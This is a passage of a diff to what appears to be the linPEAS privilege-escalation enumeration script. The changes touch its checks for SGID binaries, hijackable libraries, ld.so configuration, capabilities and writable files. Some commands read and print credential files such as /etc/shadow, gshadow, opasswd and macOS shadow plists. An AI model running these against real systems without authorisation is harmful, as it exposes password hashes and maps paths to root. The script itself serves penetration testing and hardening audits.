sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) for s in $sgids_files; do s=$(ls -lahtr "$s") - #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder + # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if echo "$s" | grep -qE "^total";then break; fi sname="$(echo $s | awk '{print $9}')" @@ -4309,7 +4796,7 @@ for s in $sgids_files; do true #Don't do nothing elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) + elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits) echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," else c="a" @@ -4326,28 +4813,43 @@ for s in $sgids_files; do else echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC - if ! [ "$FAST" ] && [ "$STRINGS" ]; then - $STRINGS "$sname" | sort | uniq | while read sline; do - sline_first="$(echo $sline | cut -d ' ' -f1)" - if echo "$sline_first" | grep -qEv "$cfuncs"; then - if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path - if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n" - fi - else #If not a path - if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n" + if ! [ "$FAST" ]; then + + if [ "$STRINGS" ]; then + $STRINGS "$sname" | sort | uniq | while read sline; do + sline_first="$(echo $sline | cut -d ' ' -f1)" + if echo "$sline_first" | grep -qEv "$cfuncs"; then + if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path + if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n" + fi + else # If not a path + if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then # Check if existing binary + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n" + fi fi fi - fi - done - if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then + done + fi + + if [ "$LDD" ] || [ "$READELF" ]; then + echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" + fi + if [ "$LDD" ]; then + "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + if [ "$READELF" ]; then + "$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + + if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then printf "$ITALIC" echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" printf "$NC" echo "" fi + fi fi fi @@ -4355,45 +4857,109 @@ for s in $sgids_files; do done; echo "" -##-- IF) Misconfigured ld.so +##-- IPF) Misconfigured ld.so if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then print_2title "Checking misconfigurations of ld.so" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so" - printf $ITALIC"/etc/ld.so.conf\n"$NC; + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so" + if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then + echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED$ITALIC"/etc/ld.so.conf\n"$NC; + else + printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC; + fi + + echo "Content of /etc/ld.so.conf:" cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + + # Check each configured folder cat /etc/ld.so.conf 2>/dev/null | while read l; do if echo "$l" | grep -q include; then ini_path=$(echo "$l" | cut -d " " -f 2) fpath=$(dirname "$ini_path") - if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi - printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + + if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then + echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC"$fpath\n"$NC; + else + printf $GREEN$ITALIC"$fpath\n"$NC; + fi + + if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then + echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + for f in $fpath/*; do - printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" - cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + if [ -w "$f" ]; then + echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC"$f\n"$NC; + else + printf $GREEN$ITALIC" $f\n"$NC; + fi + + cat "$f" | grep -v "^#" | while read l2; do + if [ -f "$l2" ] && [ -w "$l2" ]; then + echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC" - $l2\n"$NC; + else + echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"; + fi + done done fi done echo "" + + + if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then + echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + else + printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC; + fi + cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat /etc/ld.so.preload 2>/dev/null | while read l; do + if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + done + fi -##-- IF) Capabilities +##-- IPF) Capabilities if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Capabilities" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" if [ "$(command -v capsh)" ]; then - echo "Current env capabilities:" - (capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh" - echo "Current proc capabilities:" + + print_3title "Current shell capabilities" + cat "/proc/$$/status" | grep Cap | while read -r cap_line; do + cap_name=$(echo "$cap_line" | awk '{print $1}') + cap_value=$(echo "$cap_line" | awk '{print $2}') + if [ "$cap_name" = "CapEff:" ]; then + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" + else + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" + fi + done + echo "" + + print_3title "Parent process capabilities" + cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do + cap_name=$(echo "$cap_line" | awk '{print $1}') + cap_value=$(echo "$cap_line" | awk '{print $2}') + if [ "$cap_name" = "CapEff:" ]; then + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" + else + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" + fi + done + echo "" + + else + print_3title "Current shell capabilities" (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" echo "" - echo "Parent Shell capabilities:" - (capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh" - else - echo "Current capabilities:" - cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g" + + print_3title "Parent proc capabilities" + (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" echo "" - echo "Shell capabilities:" - cat /proc/$PPID/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g" fi echo "" echo "Files with capabilities (limited to 50):" @@ -4421,7 +4987,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then echo "" fi -##-- IF) Users with capabilities +##-- IPF) Users with capabilities if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then print_2title "Users with capabilities" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" @@ -4432,7 +4998,7 @@ if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then echo "" fi -##-- IF) AppArmor profiles to prevent suid/capabilities abuse +##-- IPF) AppArmor profiles to prevent suid/capabilities abuse if ! [ "$SEARCH_IN_FOLDER" ]; then if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then print_2title "AppArmor binary profiles" @@ -4441,7 +5007,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then fi fi -##-- IF) Files with ACLs +##-- IPF) Files with ACLs print_2title "Files with ACLs (limited to 50)" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls" if ! [ "$SEARCH_IN_FOLDER" ]; then @@ -4455,7 +5021,7 @@ if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v ge fi echo "" -##-- IF) Files with ResourceFork +##-- IPF) Files with ResourceFork #if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER # print_2title "Files with ResourceFork" # print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads" @@ -4463,15 +5029,171 @@ echo "" #fi #echo "" +##-- IPF) Files (scripts) in /etc/profile.d/ +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files (scripts) in /etc/profile.d/" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" + check_critial_root_path "/etc/profile" + check_critial_root_path "/etc/profile.d/" + fi + echo "" +fi + + ##-- IPF) Files (scripts) in /etc/init.d/ + if ! [ "$SEARCH_IN_FOLDER" ]; then +print_2title "Permissions in init, init.d, systemd, and rc.d" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + check_critial_root_path "/etc/init/" + check_critial_root_path "/etc/init.d/" + check_critial_root_path "/etc/rc.d/init.d" + check_critial_root_path "/usr/local/etc/rc.d" + check_critial_root_path "/etc/rc.d" + check_critial_root_path "/etc/systemd/" + check_critial_root_path "/lib/systemd/" + fi + + echo "" +fi + + + +##-- IPF) Hashes in passwd file +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_list "Hashes inside passwd file? ........... " + if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IPF) Writable in passwd file + print_list "Writable passwd file? ................ " + if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IPF) Credentials in fstab + print_list "Credentials in fstab/mtab? ........... " + if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IPF) Read shadow files + print_list "Can I read shadow files? ............. " + if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "Can I read shadow plists? ............ " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + print_list "Can I write shadow plists? ........... " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + ##-- IPF) Read opasswd file + print_list "Can I read opasswd file? ............. " + if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" + else echo_no + fi + + ##-- IPF) network-scripts + print_list "Can I write in network-scripts? ...... " + if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IPF) Read root dir + print_list "Can I read root folder? .............. " + (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no + echo "" +fi + +##-- IPF) Root files in home dirs +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching root files in home dirs (limit 30)" + (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found + echo "" +fi + +##-- IPF) Others files in my dirs +if ! [ "$IAMROOT" ]; then + print_2title "Searching folders owned by me containing others files on it (limit 100)" + (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" + echo "" +fi + +##-- IPF) Readable files belonging to root and not world readable +if ! [ "$IAMROOT" ]; then + print_2title "Readable files belonging to root and readable by me but not world readable" + (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found + echo "" +fi + +##-- IPF) Interesting writable files by ownership or all +if ! [ "$IAMROOT" ]; then + print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" + # In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all + obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + printf "%s\n" "$obmowbe" | while read entry; do + if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; + elif echo "$entry" | grep -qE "$writeVB"; then + echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," + else + echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," + fi + done + echo "" +fi + +##-- IPF) Interesting writable files by group +if ! [ "$IAMROOT" ]; then + print_2title "Interesting GROUP writable files (not in Home) (max 500)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" + for g in $(groups); do + iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + if [ "$iwfbg" ] || [ "$DEBUG" ]; then + printf " Group $GREEN$g:\n$NC"; + printf "%s\n" "$iwfbg" | while read entry; do + if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; + elif echo "$entry" | grep -Eq "$writeVB"; then + echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," + else + echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," + fi + done + fi + done + echo "" +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q interesting_files; then +print_title "Other Interesting Files" +########################################### +#----------) Interesting files (----------# +########################################### + + ##-- IF) .sh files in PATH if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title ".sh files in path" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path" echo $PATH | tr ":" "\n" | while read d; do - for f in $(find "$d" -name "*.sh" 2>/dev/null); do + for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do if ! [ "$IAMROOT" ] && [ -O "$f" ]; then echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) + elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then # If write permision, win found (no check exploits) echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," else echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; @@ -4492,7 +5214,7 @@ fi ##-- IF) Date times inside firmware if [ "$SEARCH_IN_FOLDER" ]; then - print_2title "FIles datetimes inside the firmware (limit 50)" + print_2title "Files datetimes inside the firmware (limit 50)" find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50 echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"\"" echo "" @@ -4501,9 +5223,9 @@ fi ##-- IF) Executable files added by user print_2title "Executable files potentially added by user (limit 70)" if ! [ "$SEARCH_IN_FOLDER" ]; then - find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70 + find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 else - find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70 + find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 fi echo "" @@ -4534,124 +5256,20 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then echo "" fi -##-- IF) Files (scripts) in /etc/profile.d/ -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Files (scripts) in /etc/profile.d/" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files" - if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" - check_critial_root_path "/etc/profile" - check_critial_root_path "/etc/profile.d/" - fi - echo "" -fi - - ##-- IF) Files (scripts) in /etc/init.d/ - if ! [ "$SEARCH_IN_FOLDER" ]; then -print_2title "Permissions in init, init.d, systemd, and rc.d" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d" - if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS - check_critial_root_path "/etc/init/" - check_critial_root_path "/etc/init.d/" - check_critial_root_path "/etc/rc.d/init.d" - check_critial_root_path "/usr/local/etc/rc.d" - check_critial_root_path "/etc/rc.d" - check_critial_root_path "/etc/systemd/" - check_critial_root_path "/lib/systemd/" - fi - - echo "" -fi - -##-- IF) Hashes in passwd file -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_list "Hashes inside passwd file? ........... " - if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - ##-- IF) Writable in passwd file - print_list "Writable passwd file? ................ " - if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," - elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," - elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else echo_no - fi - - ##-- IF) Credentials in fstab - print_list "Credentials in fstab/mtab? ........... " - if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - ##-- IF) Read shadow files - print_list "Can I read shadow files? ............. " - if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," - else echo_no - fi - - print_list "Can I read shadow plists? ............ " - possible_check="" - (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - - print_list "Can I write shadow plists? ........... " - possible_check="" - (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no - - ##-- IF) Read opasswd file - print_list "Can I read opasswd file? ............. " - if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" - else echo_no - fi - - ##-- IF) network-scripts - print_list "Can I write in network-scripts? ...... " - if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," - elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else echo_no - fi - - ##-- IF) Read root dir - print_list "Can I read root folder? .............. " - (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no - echo "" -fi - -##-- IF) Root files in home dirs -if ! [ "$SEARCH_IN_FOLDER" ]; then - print_2title "Searching root files in home dirs (limit 30)" - (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found - echo "" -fi - -##-- IF) Others files in my dirs -if ! [ "$IAMROOT" ]; then - print_2title "Searching folders owned by me containing others files on it (limit 100)" - (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" - echo "" -fi - -##-- IF) Readable files belonging to root and not world readable -if ! [ "$IAMROOT" ]; then - print_2title "Readable files belonging to root and readable by me but not world readable" - (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found - echo "" -fi - ##-- IF) Modified interesting files into specific folders in the last 5mins print_2title "Modified interesting files in the last 5mins (limit 100)" find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," echo "" ##-- IF) Writable log files -if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below +if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then # 3.18.0 and below print_2title "Writable log files (logrotten) (limit 50)" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation" logrotate --version 2>/dev/null || echo_not_found "logrotate" lastWlogFolder="ImPOsSiBleeElastWlogFolder" logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) printf "%s\n" "$logfind" | while read log; do - if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found + if ! [ 